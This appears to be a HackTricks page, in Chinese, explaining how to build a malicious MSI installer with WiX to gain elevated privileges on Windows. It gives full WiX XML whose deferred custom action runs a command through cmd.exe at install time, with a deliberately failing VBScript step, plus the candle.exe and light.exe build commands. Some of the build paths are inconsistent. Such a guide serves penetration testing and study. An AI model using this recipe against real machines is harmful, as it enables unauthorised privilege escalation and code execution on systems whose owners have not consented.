hacktricks/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md

5.1 KiB
Raw Blame History

从零到英雄学习AWS黑客攻击 htARTE (HackTricks AWS 红队专家)

支持HackTricks的其他方式

创建恶意MSI并获取Root权限

使用wixtools创建MSI安装程序具体来说将使用 wixtools。值得一提的是尝试了其他MSI构建器但在这个特定案例中它们没有成功。

为了全面了解wix MSI的使用示例建议参考此页面。在这里您可以找到各种示例展示了wix MSI的使用方法。

目标是生成一个将执行lnk文件的MSI。为了实现这一点可以使用以下XML代码此处的xml

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
需要注意的是Package 元素包含了如 InstallerVersion 和 Compressed 等属性,分别指定了安装程序的版本以及包是否被压缩。

创建过程涉及使用 wixtools 中的工具 candle.exe从 msi.xml 生成 wixobject。应执行以下命令
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml

此外,值得一提的是,帖子中提供了一张图片,展示了命令及其输出。您可以参考它以获得视觉指导。

此外将使用来自wixtools的另一个工具light.exe从wixobject创建MSI文件。要执行的命令如下

light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix

参考资料

从零开始学习AWS黑客技术成为 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式